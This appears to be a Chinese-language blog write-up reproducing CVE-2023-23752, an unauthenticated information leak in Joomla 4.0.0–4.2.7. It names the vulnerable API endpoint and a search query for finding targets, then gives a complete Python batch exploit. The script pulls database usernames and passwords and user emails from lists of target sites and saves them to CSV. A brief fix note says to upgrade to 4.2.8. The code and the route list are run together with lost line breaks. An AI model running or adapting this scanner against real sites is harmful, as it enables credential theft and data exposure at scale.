Joomla未授权访问漏洞|CVE-2023-23752复现及修复

product="Joomla"

4.0.0 <= Joomla <= 4.2.7

/api/index.php/v1/config/application?public=true

v1/bannersv1/banners/:idv1/bannersv1/banners/:idv1/banners/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clients/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categories/:idv1/banners/:id/contenthistoryv1/banners/:id/contenthistory/keepv1/banners/:id/contenthistoryv1/config/applicationv1/config/applicationv1/config/:component_namev1/config/:component_namev1/contacts/form/:idv1/contactsv1/contacts/:idv1/contactsv1/contacts/:idv1/contacts/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categories/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contact/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mail/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categories/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categories/:idv1/contacts/:id/contenthistoryv1/contacts/:id/contenthistory/keepv1/contacts/:id/contenthistoryv1/content/articlesv1/content/articles/:idv1/content/articlesv1/content/articles/:idv1/content/articles/:idv1/content/categoriesv1/content/categories/:idv1/content/categoriesv1/content/categories/:idv1/content/categories/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articles/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categories/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articles/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categories/:idv1/content/articles/:id/contenthistoryv1/content/articles/:id/contenthistory/keepv1/content/articles/:id/contenthistoryv1/extensionsv1/languages/contentv1/languages/content/:idv1/languages/contentv1/languages/content/:idv1/languages/content/:idv1/languages/overrides/searchv1/languages/overrides/search/cache/refreshv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GB/:idv1/languagesv1/languagesv1/media/adaptersv1/media/adapters/:idv1/media/filesv1/media/files/:path/v1/media/files/:pathv1/media/filesv1/media/files/:pathv1/media/files/:pathv1/menus/sitev1/menus/site/:idv1/menus/sitev1/menus/site/:idv1/menus/site/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administrator/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/items/:idv1/menus/site/items/typesv1/menus/administrator/items/typesv1/messagesv1/messages/:idv1/messagesv1/messages/:idv1/messages/:idv1/modules/types/sitev1/modules/types/administratorv1/modules/sitev1/modules/site/:idv1/modules/sitev1/modules/site/:idv1/modules/site/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administrator/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feeds/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categories/:idv1/pluginsv1/plugins/:idv1/plugins/:idv1/privacy/requestsv1/privacy/requests/:idv1/privacy/requests/export/:idv1/privacy/requestsv1/privacy/consentsv1/privacy/consents/:idv1/privacy/consents/:idv1/redirectsv1/redirects/:idv1/redirectsv1/redirects/:idv1/redirects/:idv1/tagsv1/tags/:idv1/tagsv1/tags/:idv1/tags/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/site/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administrator/:idv1/usersv1/users/:idv1/usersv1/users/:idv1/users/:idv1/fields/usersv1/fields/users/:idv1/fields/usersv1/fields/users/:idv1/fields/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/users/:idv1/users/groupsv1/users/groups/:idv1/users/groupsv1/users/groups/:idv1/users/groups/:idv1/users/levelsv1/users/levels/:idv1/users/levelsv1/users/levels/:idv1/users/levels/:id

import requestsimport argparseimport csvimport json
timeout = 10
output = ""proxy = {}notColor = False

def inGreen(s):    return "33[0;32m{}33[0m".format(s)
def inYellow(s):    return "33[0;33m{}33[0m".format(s)
def readFile(filepath):    file = open(filepath, encoding='utf8')    return file.readlines()

def writeFile(filepath, data):    file = open(filepath, 'a', encoding='utf8')    filecsv = csv.writer(file)    filecsv.writerow(data)

def reqDatabase(url):    if url.rindex("/") == len(url) - 1:        url = "{}api/index.php/v1/config/application?public=true".format(url)    else:        url = "{}/api/index.php/v1/config/application?public=true".format(url)
    payload = {}    headers = {        'Upgrade-Insecure-Requests': '1',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',        'Accept-Encoding': 'gzip, deflate',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Connection': 'close'    }
    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
    # print(response.text)    if "links" in response.text and ""password":" in response.text:        try:            rejson = json.loads(response.text)            user = ""            password = ""            for dataone in rejson['data']:                # print(dataone['attributes'])                if "user" in dataone['attributes']:                    user = dataone['attributes']['user']                if "password" in dataone['attributes']:                    password = dataone['attributes']['password']            if user != "" or password != "":                printBody = "[+] [Database]   {} --> {} / {}".format(url, user, password)                if notColor:                    print(printBody)                else:                    print(inYellow(printBody))                if output.strip() != "":                    writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])            return url, response.text        except:            pass

def reqUserAndEmail(url):    if url.rindex("/") == len(url) - 1:        url = "{}api/index.php/v1/users?public=true".format(url)    else:        url = "{}/api/index.php/v1/users?public=true".format(url)
    payload = {}    headers = {        'Upgrade-Insecure-Requests': '1',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',        'Accept-Encoding': 'gzip, deflate',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Connection': 'close'    }
    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
    if "username" in response.text and "email" in response.text:        try:            rejson = json.loads(response.text)            for dataone in rejson['data']:                username = ""                email = ""                # print(dataone['attributes'])                if "username" in dataone['attributes']:                    username = dataone['attributes']['username']                if "email" in dataone['attributes']:                    email = dataone['attributes']['email']                if username != "" or email != "":                    printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)                    if notColor:                        print(printBody)                    else:                        print(inGreen(printBody))                    if output.strip() != "":                        writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])            return url, response.text        except:            pass

def reqs(listfileName):    urls = readFile(listfileName)    for url in urls:        url = url.strip()        if url == "":            continue        reqDatabase(url)        reqUserAndEmail(url)

def main():    parser = argparse.ArgumentParser()    parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")    parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")    parser.add_argument('-p', '--proxy', type=str, default="", help="代理，如：http://localhost:1080")    parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出，如：-nc true")
    opt = parser.parse_args()    args = vars(opt)    url = args['url']    urlFileName = args['listfile']    global output, proxy, notColor    output = args['output']    proxy['http'] = args['proxy']    proxy['https'] = args['proxy']    notColor = args['notColor']
    if url != "":        reqDatabase(url)    if urlFileName != "":        reqs(urlFileName)

if __name__ == '__main__':    main()

python main.py  -u  http://127.0.0.1:8087/

目前该漏洞已经修复，受影响用户可及时升级到Joomla! CMS 版本4.2.8。